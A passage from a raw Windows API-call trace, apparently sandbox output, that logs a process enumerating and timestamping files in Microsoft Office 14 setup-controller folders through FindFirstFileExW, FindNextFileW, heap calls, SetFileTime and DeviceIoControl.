ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904b78 [0236.277] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907648 [0236.277] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.277] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.277] GetLastError () returned 0x12 [0236.277] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.278] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0236.278] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.278] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="")) returned 1 [0236.278] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.278] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.278] GetLastError () returned 0x12 [0236.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0236.278] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0236.278] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.278] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6b277670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x8b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0236.278] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="")) returned 1 [0236.278] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.279] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0236.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0236.279] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0236.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x908be0 [0236.279] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x908be0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x908be0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0236.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x908be0) returned 1 [0236.279] NtClose (Handle=0x1b8) returned 0x0 [0236.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0236.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0236.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0236.279] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.279] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0236.279] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0236.384] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc2600b20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0236.384] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e9fff00, ftCreationTime.dwHighDateTime=0x1cba028, ftLastAccessTime.dwLowDateTime=0xc2600b20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e9fff00, ftLastWriteTime.dwHighDateTime=0x1cba028, nFileSizeHigh=0x0, nFileSizeLow=0x3b78, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0236.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.384] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.384] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x470e1800, ftCreationTime.dwHighDateTime=0x1caccea, ftLastAccessTime.dwLowDateTime=0x15334ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x470e1800, ftLastWriteTime.dwHighDateTime=0x1caccea, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.XML", cAlternateFileName="")) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904b98 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907750 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4114ea00, ftCreationTime.dwHighDateTime=0x1ca6af2, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x4114ea00, ftLastWriteTime.dwHighDateTime=0x1ca6af2, nFileSizeHigh=0x0, nFileSizeLow=0x11644, dwReserved0=0x0, dwReserved1=0x0, cFileName="OCT.CHM", cAlternateFileName="")) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904bb8 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907858 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7c27050, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.XML", cAlternateFileName="")) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.385] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908bf8 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907960 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.XML", cAlternateFileName="")) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908c18 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907a68 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUPUI.DLL", cAlternateFileName="")) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4804a00, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xd4804a00, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="promointl.dll", cAlternateFileName="")) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d0b6300, ftCreationTime.dwHighDateTime=0x1ca9107, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x2d0b6300, ftLastWriteTime.dwHighDateTime=0x1ca9107, nFileSizeHigh=0x0, nFileSizeLow=0x9339, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSCONFIG.CHM", cAlternateFileName="")) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.386] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908c38 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907b70 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.387] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a8bce00, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7a8bce00, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6931, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10O.CHM", cAlternateFileName="")) returned 1 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908c58 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907c78 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x480) returned 0x9093e0 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ffe90) returned 1 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.387] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7d4800, ftCreationTime.dwHighDateTime=0x1ca910f, ftLastAccessTime.dwLowDateTime=0xef00bf70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa7d4800, ftLastWriteTime.dwHighDateTime=0x1ca910f, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSS10R.CHM", cAlternateFileName="")) returned 1 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908c78 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907d80 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.387] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49087c00, ftCreationTime.dwHighDateTime=0x1ca95c1, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49087c00, ftLastWriteTime.dwHighDateTime=0x1ca95c1, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.CHM", cAlternateFileName="")) returned 1 [0236.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.387] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908c98 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907e88 [0236.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.388] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x908cb8 [0236.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907f90 [0236.388] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0236.388] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf2b422b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0236.388] GetLastError () returned 0x12 [0236.388] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0236.388] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0236.389] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: 